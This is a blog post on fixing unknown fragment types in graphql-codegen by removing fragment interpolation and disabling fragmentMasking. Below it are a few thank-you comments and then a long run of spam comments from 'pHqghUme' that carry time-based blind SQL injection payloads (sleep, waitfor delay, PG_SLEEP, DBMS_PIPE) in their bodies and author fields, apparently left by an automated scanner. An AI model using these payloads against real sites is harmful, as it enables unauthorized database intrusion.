Подписаться на блог

How to fix unknown fragments types in graphql-codegen?

I spent half of the day setting up graphql-codegen to generate the correct types for fragment queries.

At first, my code looked like this:

// file1
export const DIALOG_FIELDS = gql(`
  fragment DialogFields on Dialog {
    id
    name
  }
`);

// file2
export const GET_DIALOG = gql(`
  ${DIALOG_FIELDS}
  query GetDialog($dialogId: ID!) {
    dialog(id: $dialogId) {
      ...DialogFields
    }
  }
`);
const config: CodegenConfig = {
  schema: CONFIG.apiHost,
  documents: ['src/**/*.{tsx,ts,js,jsx}', '!src/gql/__generated__/*.ts'],
  generates: {
    './src/gql/__generated__/': {
      preset: 'client',
      plugins: [],
      overwrite: true,
      presetConfig: {
        gqlTagName: 'gql'
      }
    }
  },
};

So, with the basic config I did get an unknown type for both the query and the fragment:

I found a simple solution for this — we need to remove the string interpolation for the fragment literal from the query, because graphql-codegen automatically includes fragments.

export const GET_DIALOG = gql(`
  query GetDialog($dialogId: ID!) {
    dialog(id: $dialogId) {
      ...DialogFields
    }
  }
`);

As a result, I did get an not unknown type, but the type with no data from the fragment for the query fragment.

I lost the most time at this stage, eventually finding a solution in the small GitHub thread. We need to disable fragment masking feature.

const config: CodegenConfig = {
  schema: CONFIG.apiHost,
  documents: ['src/**/*.{tsx,ts,js,jsx}', '!src/gql/__generated__/*.ts'],
  generates: {
    './src/gql/__generated__/': {
      preset: 'client',
      plugins: [],
      overwrite: true,
      presetConfig: {
        gqlTagName: 'gql',
        fragmentMasking: false
      }
    }
  },
};

Finally the type contains all the information and it is complete!

68 комментариев
Adil 2023

Hello,

I was facing the same issue but could not find any solution for a long time. Then I found your blog post, followed the instructions, and now my issue is resolved.

THANK YOU SO MUCH!

Have a great day :D

Игорь Федюкин 2023

Ur welcome :D

Vitor 2023

Life saver!

Игорь Федюкин 2023

I’m glad to hear that 🙏

Josh 2023

TY dude! U saved my project pitch :D

pHqghUme 3 дн

1

pHqghUme 3 дн

1

pHqghUme 3 дн

1

pHqghUme 3 дн

1

pHqghUme 3 дн

1

pHqghUme 3 дн

1

pHqghUme 3 дн

1

pHqghUme 3 дн

1

pHqghUme 3 дн

1

pHqghUme 3 дн

1

pHqghUme 3 дн

1

pHqghUme 3 дн

1

pHqghUme 3 дн

1

pHqghUme 3 дн

1*if(now()=sysdate(),sleep(15),0)

pHqghUme 3 дн

10’XOR(1*if(now()=sysdate(),sleep(15),0))XOR’Z

pHqghUme 3 дн

10«XOR(1*if(now()=sysdate(),sleep(15),0))XOR»Z

pHqghUme 3 дн

(select(0)from(select(sleep(15)))v)/*’+(select(0)from(select(sleep(15)))v)+’«+(select(0)from(select(sleep(15)))v)+»*/

pHqghUme 3 дн

1-1; waitfor delay ’0:0:15’ —

pHqghUme 3 дн

1-1); waitfor delay ’0:0:15’ —

pHqghUme 3 дн

1-1 waitfor delay ’0:0:15’ —

pHqghUme 3 дн

1O0gDcBlJ’; waitfor delay ’0:0:15’ —

pHqghUme 3 дн

1-1 OR 89=(SELECT 89 FROM PG_SLEEP(15))—

pHqghUme 3 дн

1-1) OR 555=(SELECT 555 FROM PG_SLEEP(15))—

pHqghUme 3 дн

1-1)) OR 675=(SELECT 675 FROM PG_SLEEP(15))—

pHqghUme 3 дн

19pQX5JzW’ OR 228=(SELECT 228 FROM PG_SLEEP(15))—

pHqghUme 3 дн

1bBM2ojo3’) OR 825=(SELECT 825 FROM PG_SLEEP(15))—

pHqghUme 3 дн

1zf0KpfZU’)) OR 601=(SELECT 601 FROM PG_SLEEP(15))—

pHqghUme 3 дн

1*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)

pHqghUme 3 дн

1’||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||’

pHqghUme 3 дн

1

pHqghUme 3 дн

1’»

pHqghUme 3 дн

@@DsNCP

pHqghUme 3 дн

(select 198766*667891)

pHqghUme 3 дн

(select 198766*667891 from DUAL)

if(now()=sysdate(),sleep(15),0) 3 дн

1

pHqghUme0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z 3 дн

1

pHqghUme0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z 3 дн

1

(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/ 3 дн

1

pHqghUme-1 waitfor delay '0:0:15' -- 3 дн

1

pHqghUmekmAp1SGl'; waitfor delay '0:0:15' -- 3 дн

1

pHqghUmeUU0GCKf0' OR 303=(SELECT 303 FROM PG_SLEEP(15))-- 3 дн

1

pHqghUmeTteIG7Hz') OR 661=(SELECT 661 FROM PG_SLEEP(15))-- 3 дн

1

pHqghUme65Fhqgew')) OR 185=(SELECT 185 FROM PG_SLEEP(15))-- 3 дн

1

pHqghUme'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||' 3 дн

1

pHqghUme 3 дн

1

pHqghUme'" 3 дн

1

@@SzPUN 3 дн

1

(select 198766*667891) 3 дн

1

(select 198766*667891 from DUAL) 3 дн

1

pHqghUme 3 дн

1

pHqghUme 3 дн

1

pHqghUme 3 дн

1

pHqghUme 3 дн

1

pHqghUme 3 дн

1

pHqghUme 3 дн

1

pHqghUme 3 дн

1

pHqghUme 3 дн

1

pHqghUme 3 дн

1

pHqghUme 3 дн

1

pHqghUme 3 дн

1

pHqghUme 3 дн

1

pHqghUme 3 дн

1

pHqghUme 3 дн

1

pHqghUme 3 дн

1

pHqghUme 3 дн

1